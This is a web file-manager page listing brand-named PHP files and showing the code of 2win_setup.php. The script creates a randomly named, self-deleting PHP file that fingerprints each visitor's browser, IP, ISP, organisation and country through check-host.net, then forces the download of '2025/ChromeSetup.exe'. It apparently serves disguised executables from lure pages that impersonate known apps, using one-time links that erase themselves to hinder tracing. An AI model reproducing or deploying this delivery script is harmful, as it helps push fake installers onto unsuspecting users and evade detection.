File Editor
Directories:
.. (Back)
2025
Files:
2win_setup.php
atas_win.php
calendly_win.php
clever_win.php
drop_win.php
figma_win.php
itiger_win.php
jobstreet_win.php
slack_win.php
starkey_win.php
syfe_win.php
webull_win.php
Create New File
Create
Edit File: 2win_setup.php
<?php ini_set('post_max_size', '500M'); set_time_limit(0); $randomName = uniqid("script_", true) . '.php'; $newFilePath = __DIR__ . '/' . $randomName; $fileContent = <<<'EOD' <?php ini_set('post_max_size', '500M'); set_time_limit(0); ini_set('memory_limit', '8192M'); ini_set('log_errors', 'On'); ini_set('error_log', 'downloads.log'); $userAgent = $_SERVER['HTTP_USER_AGENT']; $userOS = "Unknown"; if (preg_match('/linux/i', $userAgent)) { $userOS = "Linux"; } elseif (preg_match('/macintosh|mac os x/i', $userAgent)) { $userOS = "Mac"; } elseif (preg_match('/windows|win32/i', $userAgent)) { $userOS = "Windows"; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $currentDomain = parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST); $expectedDomain = explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 2] . '.' . explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 1]; $refererDomain = ''; if (!empty($referer)) { $refererParsed = parse_url($referer); if ($refererParsed !== false && isset($refererParsed['host'])) { $refererDomain = $refererParsed['host']; } } $user_ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($user_ip); $url = "https://check-host.net/ip-info?host={$user_ip}"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $isp_pos = strpos($response, 'ISP</td>'); if ($isp_pos !== false) { $isp_start = $isp_pos + 31; $isp_end = strpos($response, '</td>', $isp_start); $isp = substr($response, $isp_start, $isp_end - $isp_start); } else { $isp = 'empty'; } $org_pos = strpos($response, 'Organization</td>'); if ($org_pos !== false) { $org_start = $org_pos + 40; $org_end = strpos($response, '</td>', $org_start); $org = substr($response, $org_start, $org_end - $org_start); } else { $org = 'empty'; } $country_pos = strpos($response, 'Country</td>'); if ($country_pos !== false) { $country_start = $country_pos + 101; $country_end = strpos($response, '</td>', $country_start); $country = substr($response, $country_start, $country_end - $country_start); $country = trim(strip_tags($country)); } else { $country = 'empty'; } $filePath = '2025/ChromeSetup.exe'; if (!file_exists($filePath)) { http_response_code(404); echo "File not found"; unlink(__FILE__); exit; } elseif (!is_readable($filePath)) { http_response_code(403); echo "File is not readable"; unlink(__FILE__); exit; } // Проверка размера файла $maxFileSize = 500 * 1024 * 1024; // 500 MB if (filesize($filePath) > $maxFileSize) { http_response_code(400); echo "File size exceeds the limit"; unlink(__FILE__); exit; } $fileContent = file_get_contents($filePath); // Очистка буфера вывода ob_clean(); header("Content-Disposition: attachment; filename=" . basename($filePath)); header("Content-Type: application/octet-stream"); header("Content-Length: " . strlen($fileContent)); // Отправка содержимого файла echo $fileContent; error_log("File downloaded: " . $filePath); unlink(__FILE__); ?> EOD; if (file_put_contents($newFilePath, $fileContent) !== false) { header("Location: $randomName"); exit; } else { echo "Не удалось создать файл."; }
Save Changes
Rename File
Rename